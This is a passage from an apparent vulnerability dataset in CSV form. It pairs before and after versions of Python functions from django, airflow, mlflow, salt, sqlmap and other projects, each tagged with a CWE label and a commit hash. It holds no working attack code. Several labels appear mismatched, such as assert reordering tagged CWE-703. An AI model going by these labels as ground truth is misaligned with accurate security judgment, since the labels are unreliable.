        # (0 given)"" deep inside deepcopy().
        #
        # Python 2.5 and 2.6 succeeded, but logged internally caught exception
        # spew:
        #
        #    Exception RuntimeError: 'maximum recursion depth exceeded while
        #    calling a Python object' in <type 'exceptions.AttributeError'>
        #    ignored""
        Q(user=response.context['user']) & Q(someflag=True)

        # Tests for user equality.  This is hard because User defines
        # equality in a non-duck-typing way
        # See bug #12060
        self.assertEqual(response.context['user'], user)
        self.assertEqual(user, response.context['user'])",CWE-259,django/django,3e0eb2d7885fdccabcc4b97e5c57e68bbd5d7978,"def test_user_attrs(self):
        """"""
        Test that the lazy objects returned behave just like the wrapped objects.
        """"""
        # These are 'functional' level tests for common use cases.  Direct
        # testing of the implementation (SimpleLazyObject) is in the 'utils'
        # tests.
        self.client.login(username='super', password='secret')
        user = authenticate(username='super', password='secret')
        response = self.client.get('/auth_processor_user/')
        self.assertContains(response, ""unicode: super"")
        self.assertContains(response, ""id: 100"")
        self.assertContains(response, ""username: super"")
        # bug #12037 is tested by the {% url %} in the template:
        self.assertContains(response, ""url: /userpage/super/"")

        # See if this object can be used for queries where a Q() comparing
        # a user can be used with another Q() (in an AND or OR fashion).
        # This simulates what a template tag might do with the user from the
        # context. Note that we don't need to execute a query, just build it.
        #
        # The failure case (bug #12049) on Python 2.4 with a LazyObject-wrapped
        # User is a fatal TypeError: ""function() takes at least 2 arguments
        # (0 given)"" deep inside deepcopy().
        #
        # Python 2.5 and 2.6 succeeded, but logged internally caught exception
        # spew:
        #
        #    Exception RuntimeError: 'maximum recursion depth exceeded while
        #    calling a Python object' in <type 'exceptions.AttributeError'>
        #    ignored""
        query = Q(user=response.context['user']) & Q(someflag=True)

        # Tests for user equality.  This is hard because User defines
        # equality in a non-duck-typing way
        # See bug #12060
        self.assertEqual(response.context['user'], user)
        self.assertEqual(user, response.context['user'])"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/many_to_one_null/tests.py,0,"def test_set(self):
        # Use manager.set() to allocate ForeignKey. Null is legal, so existing
        # members of the set that are not in the assignment set are set to null.
        self.r2.article_set.set([self.a2, self.a3])
        self.assertQuerysetEqual(self.r2.article_set.all(), ['<Article: Second>', '<Article: Third>'])
        # Use manager.set(clear=True)
        self.r2.article_set.set([self.a3, self.a4], clear=True)
        self.assertQuerysetEqual(self.r2.article_set.all(), ['<Article: Fourth>', '<Article: Third>'])
        # Clear the rest of the set
        self.r2.article_set.set([])
        self.assertQuerysetEqual(self.r2.article_set.all(), [])
        self.assertQuerysetEqual(
            Article.objects.filter(reporter__isnull=True),
            ['<Article: Fourth>', '<Article: Second>', '<Article: Third>']
        )",CWE-Unknown,django/django,741061852851d6aff8e35f46b0e165685d3e79e0,"def test_set(self):
        # Use manager.set() to allocate ForeignKey. Null is legal, so existing
        # members of the set that are not in the assignment set are set to null.
        self.r2.article_set.set([self.a2, self.a3])
        self.assertQuerysetEqual(self.r2.article_set.all(), ['<Article: Second>', '<Article: Third>'])
        # Use manager.set(clear=True)
        self.r2.article_set.set([self.a3, self.a4], clear=True)
        self.assertQuerysetEqual(self.r2.article_set.all(), ['<Article: Fourth>', '<Article: Third>'])
        # Clear the rest of the set
        self.r2.article_set.set([])
        self.assertQuerysetEqual(self.r2.article_set.all(), [])
        self.assertQuerysetEqual(
            Article.objects.filter(reporter__isnull=True),
            ['<Article: Fourth>', '<Article: Second>', '<Article: Third>']
        )"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_dag_sources.py,1,"def test_should_respond_200_text(self, test_client, test_dag):
        dag_content = self._get_dag_file_code(test_dag.fileloc)
        response: Response = test_client.get(f""{API_PREFIX}/{TEST_DAG_ID}"", headers={""Accept"": ""text/plain""})

        assert isinstance(response, Response)
        assert response.status_code == 200
        assert dag_content == response.content.decode()
        with pytest.raises(json.JSONDecodeError):
            json.loads(response.content.decode())
        assert response.headers[""Content-Type""].startswith(""text/plain"")",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_should_respond_200_text(self, test_client, test_dag):
        dag_content = self._get_dag_file_code(test_dag.fileloc)
        response: Response = test_client.get(f""{API_PREFIX}/{TEST_DAG_ID}"", headers={""Accept"": ""text/plain""})

        assert isinstance(response, Response)
        assert 200 == response.status_code
        assert dag_content == response.content.decode()
        with pytest.raises(json.JSONDecodeError):
            json.loads(response.content.decode())
        assert response.headers[""Content-Type""].startswith(""text/plain"")"
,UNKNOWN,UNKNOWN,providers/tests/fab/auth_manager/test_security.py,1,"def test_override_role_vm(app_builder):
    test_security_manager = MockSecurityManager(appbuilder=app_builder)
    assert len(test_security_manager.VIEWER_VMS) == 1
    assert {""Airflow""} == test_security_manager.VIEWER_VMS",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_override_role_vm(app_builder):
    test_security_manager = MockSecurityManager(appbuilder=app_builder)
    assert len(test_security_manager.VIEWER_VMS) == 1
    assert test_security_manager.VIEWER_VMS == {""Airflow""}"
,UNKNOWN,UNKNOWN,tests/pytorch/test_pytorch_model_export.py,1,"def test_pyfunc_model_serving_with_module_scoped_subclassed_model_and_default_conda_env(
        module_scoped_subclassed_model, model_path, data):
    mlflow.pytorch.save_model(
        path=model_path,
        pytorch_model=module_scoped_subclassed_model,
        conda_env=None,
        code_paths=[__file__])

    scoring_response = pyfunc_serve_and_score_model(
            model_uri=model_path,
            data=data[0],
            content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON_SPLIT_ORIENTED,
            extra_args=[""--no-conda""])
    assert scoring_response.status_code == 200

    deployed_model_preds = pd.DataFrame(json.loads(scoring_response.content))
    np.testing.assert_array_almost_equal(
        deployed_model_preds.values[:, 0],
        _predict(model=module_scoped_subclassed_model, data=data),
        decimal=4)",CWE-703,mlflow/mlflow,1a762d56564f5f708bd7f9cbc5a48530fb354ae3,"def test_pyfunc_model_serving_with_module_scoped_subclassed_model_and_default_conda_env(
        module_scoped_subclassed_model, model_path, data):
    mlflow.pytorch.save_model(
        path=model_path,
        pytorch_model=module_scoped_subclassed_model,
        conda_env=None,
        code_paths=[__file__])

    scoring_response = pyfunc_serve_and_score_model(
            model_uri=model_path,
            data=data[0],
            content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON_SPLIT_ORIENTED,
            extra_args=[""--no-conda""])
    assert scoring_response.status_code == 200

    deployed_model_preds = pd.DataFrame(json.loads(scoring_response.content))
    np.testing.assert_array_almost_equal(
        deployed_model_preds.values[:, 0],
        _predict(model=module_scoped_subclassed_model, data=data),
        decimal=4)"
,UNKNOWN,UNKNOWN,django/db/models/fields/related.py,1,"def __init__(self, to, to_field=None, rel_class=ManyToOneRel, **kwargs):
        try:
            to_name = to._meta.object_name.lower()
        except AttributeError: # to._meta doesn't exist, so it must be RECURSIVE_RELATIONSHIP_CONSTANT
            assert isinstance(to, basestring), ""%s(%r) is invalid. First parameter to ForeignKey must be either a model, a model name, or the string %r"" % (self.__class__.__name__, to, RECURSIVE_RELATIONSHIP_CONSTANT)
        else:
            assert not to._meta.abstract, ""%s cannot define a relation with abstract class %s"" % (self.__class__.__name__, to._meta.object_name)
            # For backwards compatibility purposes, we need to *try* and set
            # the to_field during FK construction. It won't be guaranteed to
            # be correct until contribute_to_class is called. Refs #12190.
            to_field = to_field or (to._meta.pk and to._meta.pk.name)
        kwargs['verbose_name'] = kwargs.get('verbose_name', None)

        if 'db_index' not in kwargs:
            kwargs['db_index'] = True

        kwargs['rel'] = rel_class(to, to_field,
            related_name=kwargs.pop('related_name', None),
            limit_choices_to=kwargs.pop('limit_choices_to', None),
            lookup_overrides=kwargs.pop('lookup_overrides', None),
            parent_link=kwargs.pop('parent_link', False))
        Field.__init__(self, **kwargs)",CWE-703,django/django,c61811a8f2679fe0dd9943f228e62756e38fb1dc,"def __init__(self, to, to_field=None, rel_class=ManyToOneRel, **kwargs):
        try:
            to_name = to._meta.object_name.lower()
        except AttributeError: # to._meta doesn't exist, so it must be RECURSIVE_RELATIONSHIP_CONSTANT
            assert isinstance(to, basestring), ""%s(%r) is invalid. First parameter to ForeignKey must be either a model, a model name, or the string %r"" % (self.__class__.__name__, to, RECURSIVE_RELATIONSHIP_CONSTANT)
        else:
            assert not to._meta.abstract, ""%s cannot define a relation with abstract class %s"" % (self.__class__.__name__, to._meta.object_name)
            # For backwards compatibility purposes, we need to *try* and set
            # the to_field during FK construction. It won't be guaranteed to
            # be correct until contribute_to_class is called. Refs #12190.
            to_field = to_field or (to._meta.pk and to._meta.pk.name)
        kwargs['verbose_name'] = kwargs.get('verbose_name', None)

        kwargs['rel'] = rel_class(to, to_field,
            related_name=kwargs.pop('related_name', None),
            limit_choices_to=kwargs.pop('limit_choices_to', None),
            lookup_overrides=kwargs.pop('lookup_overrides', None),
            parent_link=kwargs.pop('parent_link', False))
        Field.__init__(self, **kwargs)

        self.db_index = True"
,UNKNOWN,UNKNOWN,salt/modules/augeas_cfg.py,1,"def execute(context=None, lens=None, commands=(), load_path=None):
    '''
    Execute Augeas commands

    .. versionadded:: 2014.7.0

    CLI Example:

    .. code-block:: bash

        salt '*' augeas.execute /files/etc/redis/redis.conf \\
        commands='[""set bind 0.0.0.0"", ""set maxmemory 1G""]'

    context
        The Augeas context

    lens
        The Augeas lens to use

    commands
        The Augeas commands to execute

    .. versionadded:: 2016.3.0

    load_path
        A colon-spearated list of directories that modules should be searched
        in. This is in addition to the standard load path and the directories
        in AUGEAS_LENS_LIB.
    '''
    ret = {'retval': False}

    arg_map = {
        'set':    (1, 2),
        'setm':   (2, 3),
        'move':   (2,),
        'insert': (3,),
        'remove': (1,),
    }

    def make_path(path):
        '''
        Return correct path
        '''
        if not context:
            return path

        if path.lstrip('/'):
            if path.startswith(context):
                return path

            path = path.lstrip('/')
            return os.path.join(context, path)
        else:
            return context

    load_path = _check_load_paths(load_path)

    flags = _Augeas.NO_MODL_AUTOLOAD if lens and context else _Augeas.NONE
    aug = _Augeas(flags=flags, loadpath=load_path)

    if lens and context:
        aug.add_transform(lens, re.sub('^/files', '', context))
        aug.load()

    for command in commands:
        try:
            # first part up to space is always the
            # command name (i.e.: set, move)
            cmd, arg = command.split(' ', 1)

            if cmd not in METHOD_MAP:
                ret['error'] = 'Command {0} is not supported (yet)'.format(cmd)
                return ret

            method = METHOD_MAP[cmd]
            nargs = arg_map[method]

            parts = salt.utils.shlex_split(arg, posix=False)

            if len(parts) not in nargs:
                err = '{0} takes {1} args: {2}'.format(method, nargs, parts)
                raise ValueError(err)
            if method == 'set':
                path = make_path(parts[0])
                value = parts[1] if len(parts) == 2 else None
                args = {'path': path, 'value': value}
            elif method == 'setm':
                base = make_path(parts[0])
                sub = parts[1]
                value = parts[2] if len(parts) == 3 else None
                args = {'base': base, 'sub': sub, 'value': value}
            elif method == 'move':
                path = make_path(parts[0])
                dst = parts[1]
                args = {'src': path, 'dst': dst}
            elif method == 'insert':
                label, where, path = parts
                if where not in ('before', 'after'):
                    raise ValueError(
                        'Expected ""before"" or ""after"", not {0}'.format(where))
                path = make_path(path)
                args = {
                    'path': path,
                    'label': label,
                    'before': where == 'before'}
            elif method == 'remove':
                path = make_path(parts[0])
                args = {'path': path}
        except ValueError as err:
            log.error(str(err))
            # if command.split fails arg will not be set
            if 'arg' not in locals():
                arg = command
            ret['error'] = 'Invalid formatted command, ' \
                           'see debug log for details: {0}'.format(arg)
            return ret

        log.debug('{0}: {1}'.format(method, args))

        func = getattr(aug, method)
        func(**args)

    try:
        aug.save()
        ret['retval'] = True
    except IOError as err:
        ret['error'] = str(err)

        if lens and not lens.endswith('.lns'):
            ret['error'] += '\nLenses are normally configured as ""name.lns"". ' \
                            'Did you mean ""{0}.lns""?'.format(lens)

    aug.close()
    return ret",CWE-605,saltstack/salt,50ee3d568271d95e147919edb3aef01677288e39,"def execute(context=None, lens=None, commands=(), load_path=None):
    '''
    Execute Augeas commands

    .. versionadded:: 2014.7.0

    CLI Example:

    .. code-block:: bash

        salt '*' augeas.execute /files/etc/redis/redis.conf \\
        commands='[""set bind 0.0.0.0"", ""set maxmemory 1G""]'

    context
        The Augeas context

    lens
        The Augeas lens to use

    commands
        The Augeas commands to execute

    .. versionadded:: 2016.3.0

    load_path
        A colon-spearated list of directories that modules should be searched
        in. This is in addition to the standard load path and the directories
        in AUGEAS_LENS_LIB.
    '''
    ret = {'retval': False}

    arg_map = {
        'set':    (1, 2),
        'setm':   (2, 3),
        'move':   (2,),
        'insert': (3,),
        'remove': (1,),
    }

    def make_path(path):
        '''
        Return correct path
        '''
        if not context:
            return path

        if path.lstrip('/'):
            if path.startswith(context):
                return path

            path = path.lstrip('/')
            return os.path.join(context, path)
        else:
            return context

    load_path = _check_load_paths(load_path)

    flags = _Augeas.NO_MODL_AUTOLOAD if lens and context else _Augeas.NONE
    aug = _Augeas(flags=flags, loadpath=load_path)

    if lens and context:
        aug.add_transform(lens, re.sub('^/files', '', context))
        aug.load()

    for command in commands:
        try:
            # first part up to space is always the
            # command name (i.e.: set, move)
            cmd, arg = command.split(' ', 1)

            if cmd not in METHOD_MAP:
                ret['error'] = 'Command {0} is not supported (yet)'.format(cmd)
                return ret

            method = METHOD_MAP[cmd]
            nargs = arg_map[method]

            parts = salt.utils.shlex_split(arg)

            if len(parts) not in nargs:
                err = '{0} takes {1} args: {2}'.format(method, nargs, parts)
                raise ValueError(err)
            if method == 'set':
                path = make_path(parts[0])
                value = parts[1] if len(parts) == 2 else None
                args = {'path': path, 'value': value}
            elif method == 'setm':
                base = make_path(parts[0])
                sub = parts[1]
                value = parts[2] if len(parts) == 3 else None
                args = {'base': base, 'sub': sub, 'value': value}
            elif method == 'move':
                path = make_path(parts[0])
                dst = parts[1]
                args = {'src': path, 'dst': dst}
            elif method == 'insert':
                label, where, path = parts
                if where not in ('before', 'after'):
                    raise ValueError(
                        'Expected ""before"" or ""after"", not {0}'.format(where))
                path = make_path(path)
                args = {
                    'path': path,
                    'label': label,
                    'before': where == 'before'}
            elif method == 'remove':
                path = make_path(parts[0])
                args = {'path': path}
        except ValueError as err:
            log.error(str(err))
            # if command.split fails arg will not be set
            if 'arg' not in locals():
                arg = command
            ret['error'] = 'Invalid formatted command, ' \
                           'see debug log for details: {0}'.format(arg)
            return ret

        log.debug('{0}: {1}'.format(method, args))

        func = getattr(aug, method)
        func(**args)

    try:
        aug.save()
        ret['retval'] = True
    except IOError as err:
        ret['error'] = str(err)

        if lens and not lens.endswith('.lns'):
            ret['error'] += '\nLenses are normally configured as ""name.lns"". ' \
                            'Did you mean ""{0}.lns""?'.format(lens)

    aug.close()
    return ret"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/slab_info.py,0,"def __iter__(self):

        if not self.unalloc:
            for slab in self._get_full_list():
                for i in range(self.num):
                    yield self._get_object(slab.s_mem.v() + i * self.buffer_size)

        for slab in self._get_partial_list():
            if not self.num or self.num == 0:
                return                

            bufctl = obj.Object(""Array"",
                        offset = slab.v() + slab.size(),
                        vm = self.obj_vm,
                        parent = self.obj_parent,
                        targetType = ""unsigned int"",
                        count = self.num)

            unallocated = [0] * self.num

            i = slab.free
            while i != 0xFFFFFFFF:
                unallocated[i] = 1
                i = bufctl[i]

            for i in range(0, self.num):
                if unallocated[i] == self.unalloc:
                    yield self._get_object(slab.s_mem.v() + i * self.buffer_size)

        if self.unalloc:
            for slab in self._get_free_list():
                for i in range(self.num):
                    yield self._get_object(slab.s_mem.v() + i * self.buffer_size)",,volatilityfoundation/volatility,133563e6f1c901a29a1d450c177b0f4653a4ecdf,"def __iter__(self):

        if not self.unalloc:
            for slab in self._get_full_list():
                for i in range(self.num):
                    yield self._get_object(slab.s_mem.v() + i * self.buffer_size)

        for slab in self._get_partial_list():
            bufctl = obj.Object(""Array"",
                        offset = slab.v() + slab.size(),
                        vm = self.obj_vm,
                        parent = self.obj_parent,
                        targetType = ""unsigned int"",
                        count = self.num)

            unallocated = [0] * self.num

            i = slab.free
            while i != 0xFFFFFFFF:
                unallocated[i] = 1
                i = bufctl[i]

            for i in range(0, self.num):
                if unallocated[i] == self.unalloc:
                    yield self._get_object(slab.s_mem.v() + i * self.buffer_size)

        if self.unalloc:
            for slab in self._get_free_list():
                for i in range(self.num):
                    yield self._get_object(slab.s_mem.v() + i * self.buffer_size)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/frontend/html/notebook/filenbmanager.py,0,"def increment_filename(self, basename):
        """"""Return a non-used filename of the form basename<int>.
        
        This searches through the filenames (basename0, basename1, ...)
        until is find one that is not already being used. It is used to
        create Untitled and Copy names that are unique.
        """"""
        i = 0
        while True:
            name = u'%s%i' % (basename,i)
            path = self.get_path_by_name(name)
            if not os.path.isfile(path):
                break
            else:
                i = i+1
        return name",,jupyter/notebook,f40f6448c233777cede608da54d24f2ed733d5d6,"def increment_filename(self, basename):
        """"""Return a non-used filename of the form basename<int>.
        
        This searches through the filenames (basename0, basename1, ...)
        until is find one that is not already being used. It is used to
        create Untitled and Copy names that are unique.
        """"""
        i = 0
        while True:
            name = u'%s%i' % (basename,i)
            path = self.get_path_by_name(name)
            if not os.path.isfile(path):
                break
            else:
                i = i+1
        return name"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_scoring_server.py,1,"def test_parse_with_schema(pandas_df_with_all_types):
    schema = Schema([ColSpec(c, c) for c in pandas_df_with_all_types.columns])
    df = _shuffle_pdf(pandas_df_with_all_types)
    json_str = json.dumps(df.to_dict(orient=""split""), cls=NumpyEncoder)
    df = pyfunc_scoring_server.parse_json_input(json_str, orient=""split"", schema=schema)
    json_str = json.dumps(df.to_dict(orient=""records""), cls=NumpyEncoder)
    df = pyfunc_scoring_server.parse_json_input(json_str, orient=""records"", schema=schema)
    assert schema == infer_signature(df[schema.input_names()]).inputs

    # The current behavior with pandas json parse with type hints is weird. In some cases, the
    # types are forced ignoting overflow and loss of precision:

    bad_df = """"""{
      ""columns"":[""bad_integer"", ""bad_float"", ""bad_string"", ""bad_boolean""],
      ""data"":[
        [9007199254740991.0, 1.1,                1, 1.5],
        [9007199254740992.0, 9007199254740992.0, 2, 0],
        [9007199254740994.0, 3.3,                3, ""some arbitrary string""]
      ]
    }""""""
    schema = Schema(
        [
            ColSpec(""integer"", ""bad_integer""),
            ColSpec(""float"", ""bad_float""),
            ColSpec(""float"", ""good_float""),
            ColSpec(""string"", ""bad_string""),
            ColSpec(""boolean"", ""bad_boolean""),
        ]
    )
    df = pyfunc_scoring_server.parse_json_input(bad_df, orient=""split"", schema=schema)
    # Unfortunately, the current behavior of pandas parse is to force numbers to int32 even if
    # they don't fit:
    assert df[""bad_integer""].dtype == np.int32
    assert all(df[""bad_integer""] == [-2147483648, -2147483648, -2147483648])

    # The same goes for floats:
    assert df[""bad_float""].dtype == np.float32
    assert all(df[""bad_float""] == np.array([1.1, 9007199254740992, 3.3], dtype=np.float32))
    # However bad string is recognized as int64:
    assert all(df[""bad_string""] == np.array([1, 2, 3], dtype=object))

    # Boolean is forced - zero and empty string is false, everything else is true:
    assert df[""bad_boolean""].dtype == bool
    assert all(df[""bad_boolean""] == [True, False, True])",CWE-703,mlflow/mlflow,5e2c868d69aad968dd6eaebf8c8f447e72366140,"def test_parse_with_schema(pandas_df_with_all_types):
    schema = Schema([ColSpec(c, c) for c in pandas_df_with_all_types.columns])
    df = _shuffle_pdf(pandas_df_with_all_types)
    json_str = json.dumps(df.to_dict(orient=""split""), cls=NumpyEncoder)
    df = pyfunc_scoring_server.parse_json_input(json_str, orient=""split"", schema=schema)
    json_str = json.dumps(df.to_dict(orient=""records""), cls=NumpyEncoder)
    df = pyfunc_scoring_server.parse_json_input(json_str, orient=""records"", schema=schema)
    assert schema == infer_signature(df[schema.input_names()]).inputs

    # The current behavior with pandas json parse with type hints is weird. In some cases, the
    # types are forced ignoting overflow and loss of precision:

    bad_df = """"""{
      ""columns"":[""bad_integer"", ""bad_float"", ""bad_string"", ""bad_boolean""],
      ""data"":[
        [9007199254740991.0, 1.1,                1, 1.5],
        [9007199254740992.0, 9007199254740992.0, 2, 0],
        [9007199254740994.0, 3.3,                3, ""some arbitrary string""]
      ]
    }""""""
    schema = Schema(
        [
            ColSpec(""integer"", ""bad_integer""),
            ColSpec(""float"", ""bad_float""),
            ColSpec(""float"", ""good_float""),
            ColSpec(""string"", ""bad_string""),
            ColSpec(""boolean"", ""bad_boolean""),
        ]
    )
    df = pyfunc_scoring_server.parse_json_input(bad_df, orient=""split"", schema=schema)
    # Unfortunately, the current behavior of pandas parse is to force numbers to int32 even if
    # they don't fit:
    assert df[""bad_integer""].dtype == np.int32
    assert all(df[""bad_integer""] == [-2147483648, -2147483648, -2147483648])

    # The same goes for floats:
    assert df[""bad_float""].dtype == np.float32
    assert all(df[""bad_float""] == np.array([1.1, 9007199254740992, 3.3], dtype=np.float32))
    # However bad string is recognized as int64:
    assert all(df[""bad_string""] == np.array([1, 2, 3], dtype=np.object))

    # Boolean is forced - zero and empty string is false, everything else is true:
    assert df[""bad_boolean""].dtype == np.bool
    assert all(df[""bad_boolean""] == [True, False, True])"
,UNKNOWN,UNKNOWN,tests/test_utils.py,1,"def test_zipped_paths_extracted(self, tmpdir):
        zipped_py = tmpdir.join('test.zip')
        with zipfile.ZipFile(zipped_py.strpath, 'w') as f:
            f.write(__file__)

        _, name = os.path.splitdrive(__file__)
        zipped_path = os.path.join(zipped_py.strpath, name.lstrip(r'\/'))
        extracted_path = extract_zipped_paths(zipped_path)

        assert extracted_path != zipped_path
        assert os.path.exists(extracted_path)
        assert filecmp.cmp(extracted_path, __file__)",CWE-703,psf/requests,d8829f9f242149174e50f45e021ffb81fbbced70,"def test_zipped_paths_extracted(self, tmpdir):
        zipped_py = tmpdir.join('test.zip')
        with zipfile.ZipFile(zipped_py.strpath, 'w') as f:
            f.write(__file__)

        _, name = os.path.splitdrive(__file__)
        zipped_path = os.path.join(zipped_py.strpath, name.lstrip(r'\/'))
        extracted_path = extract_zipped_paths(zipped_path)

        assert extracted_path != zipped_path
        assert os.path.exists(extracted_path)
        assert filecmp.cmp(extracted_path, __file__)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/option.py,0,"def _basicOptionValidation():
    if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0):
        errMsg = ""value for option '--start' (limitStart) must be an integer value greater than zero (>0)""
        raise SqlmapSyntaxException(errMsg)

    if conf.limitStop is not None and not (isinstance(conf.limitStop, int) and conf.limitStop > 0):
        errMsg = ""value for option '--stop' (limitStop) must be an integer value greater than zero (>0)""
        raise SqlmapSyntaxException(errMsg)

    if conf.level is not None and not (isinstance(conf.level, int) and conf.level >= 1 and conf.level <= 5):
        errMsg = ""value for option '--level' must be an integer value from range [1, 5]""
        raise SqlmapSyntaxException(errMsg)

    if conf.risk is not None and not (isinstance(conf.risk, int) and conf.risk >= 1 and conf.risk <= 3):
        errMsg = ""value for option '--risk' must be an integer value from range [1, 3]""
        raise SqlmapSyntaxException(errMsg)

    if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \
       isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart:
        warnMsg = ""usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable""
        logger.warn(warnMsg)

    if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \
       isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar:
        errMsg = ""value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option""
        raise SqlmapSyntaxException(errMsg)

    if conf.textOnly and conf.nullConnection:
        errMsg = ""switch '--text-only' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.eta and conf.verbose > defaults.verbose:
        errMsg = ""switch '--eta' is incompatible with option '-v'""
        raise SqlmapSyntaxException(errMsg)

    if conf.secondUrl and conf.secondReq:
        errMsg = ""option '--second-url' is incompatible with option '--second-req')""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.url:
        errMsg = ""option '-d' is incompatible with option '-u' ('--url')""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.dbms:
        errMsg = ""option '-d' is incompatible with option '--dbms'""
        raise SqlmapSyntaxException(errMsg)

    if conf.titles and conf.nullConnection:
        errMsg = ""switch '--titles' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.dumpTable and conf.search:
        errMsg = ""switch '--dump' is incompatible with switch '--search'""
        raise SqlmapSyntaxException(errMsg)

    if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)):
        errMsg = ""switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'""
        raise SqlmapSyntaxException(errMsg)

    if conf.api and not conf.configFile:
        errMsg = ""switch '--api' requires usage of option '-c'""
        raise SqlmapSyntaxException(errMsg)

    if conf.data and conf.nullConnection:
        errMsg = ""option '--data' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.string and conf.nullConnection:
        errMsg = ""option '--string' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.notString and conf.nullConnection:
        errMsg = ""option '--not-string' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.tor and conf.osPwn:
        errMsg = ""option '--tor' is incompatible with switch '--os-pwn'""
        raise SqlmapSyntaxException(errMsg)

    if conf.noCast and conf.hexConvert:
        errMsg = ""switch '--no-cast' is incompatible with switch '--hex'""
        raise SqlmapSyntaxException(errMsg)

    if conf.dumpAll and conf.search:
        errMsg = ""switch '--dump-all' is incompatible with switch '--search'""
        raise SqlmapSyntaxException(errMsg)

    if conf.string and conf.notString:
        errMsg = ""option '--string' is incompatible with switch '--not-string'""
        raise SqlmapSyntaxException(errMsg)

    if conf.regexp and conf.nullConnection:
        errMsg = ""option '--regexp' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.regexp:
        try:
            re.compile(conf.regexp)
        except Exception as ex:
            errMsg = ""invalid regular expression '%s' ('%s')"" % (conf.regexp, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

    if conf.paramExclude:
        try:
            re.compile(conf.paramExclude)
        except Exception as ex:
            errMsg = ""invalid regular expression '%s' ('%s')"" % (conf.paramExclude, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

    if conf.cookieDel and len(conf.cookieDel):
        errMsg = ""option '--cookie-del' should contain a single character (e.g. ';')""
        raise SqlmapSyntaxException(errMsg)

    if conf.crawlExclude:
        try:
            re.compile(conf.crawlExclude)
        except Exception as ex:
            errMsg = ""invalid regular expression '%s' ('%s')"" % (conf.crawlExclude, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

    if conf.dumpTable and conf.dumpAll:
        errMsg = ""switch '--dump' is incompatible with switch '--dump-all'""
        raise SqlmapSyntaxException(errMsg)

    if conf.predictOutput and (conf.threads > 1 or conf.optimize):
        errMsg = ""switch '--predict-output' is incompatible with option '--threads' and switch '-o'""
        raise SqlmapSyntaxException(errMsg)

    if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get(""skipThreadCheck""):
        errMsg = ""maximum number of used threads is %d avoiding potential connection issues"" % MAX_NUMBER_OF_THREADS
        raise SqlmapSyntaxException(errMsg)

    if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)):
        errMsg = ""switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'""
        raise SqlmapSyntaxException(errMsg)

    if conf.crawlExclude and not conf.crawlDepth:
        errMsg = ""option '--crawl-exclude' requires usage of switch '--crawl'""
        raise SqlmapSyntaxException(errMsg)

    if conf.safePost and not conf.safeUrl:
        errMsg = ""option '--safe-post' requires usage of option '--safe-url'""
        raise SqlmapSyntaxException(errMsg)

    if conf.safeFreq and not any((conf.safeUrl, conf.safeReqFile)):
        errMsg = ""option '--safe-freq' requires usage of option '--safe-url' or '--safe-req'""
        raise SqlmapSyntaxException(errMsg)

    if conf.safeReqFile and any((conf.safeUrl, conf.safePost)):
        errMsg = ""option '--safe-req' is incompatible with option '--safe-url' and option '--safe-post'""
        raise SqlmapSyntaxException(errMsg)

    if conf.csrfUrl and not conf.csrfToken:
        errMsg = ""option '--csrf-url' requires usage of option '--csrf-token'""
        raise SqlmapSyntaxException(errMsg)

    if conf.csrfMethod and not conf.csrfToken:
        errMsg = ""option '--csrf-method' requires usage of option '--csrf-token'""
        raise SqlmapSyntaxException(errMsg)

    if conf.csrfToken and conf.threads > 1:
        errMsg = ""option '--csrf-url' is incompatible with option '--threads'""
        raise SqlmapSyntaxException(errMsg)

    if conf.requestFile and conf.url and conf.url != DUMMY_URL:
        errMsg = ""option '-r' is incompatible with option '-u' ('--url')""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.proxy:
        errMsg = ""option '-d' is incompatible with option '--proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.tor:
        errMsg = ""option '-d' is incompatible with switch '--tor'""
        raise SqlmapSyntaxException(errMsg)

    if not conf.technique:
        errMsg = ""option '--technique' can't be empty""
        raise SqlmapSyntaxException(errMsg)

    if conf.tor and conf.ignoreProxy:
        errMsg = ""switch '--tor' is incompatible with switch '--ignore-proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.tor and conf.proxy:
        errMsg = ""switch '--tor' is incompatible with option '--proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.proxy and conf.proxyFile:
        errMsg = ""switch '--proxy' is incompatible with option '--proxy-file'""
        raise SqlmapSyntaxException(errMsg)

    if conf.checkTor and not any((conf.tor, conf.proxy)):
        errMsg = ""switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)""
        raise SqlmapSyntaxException(errMsg)

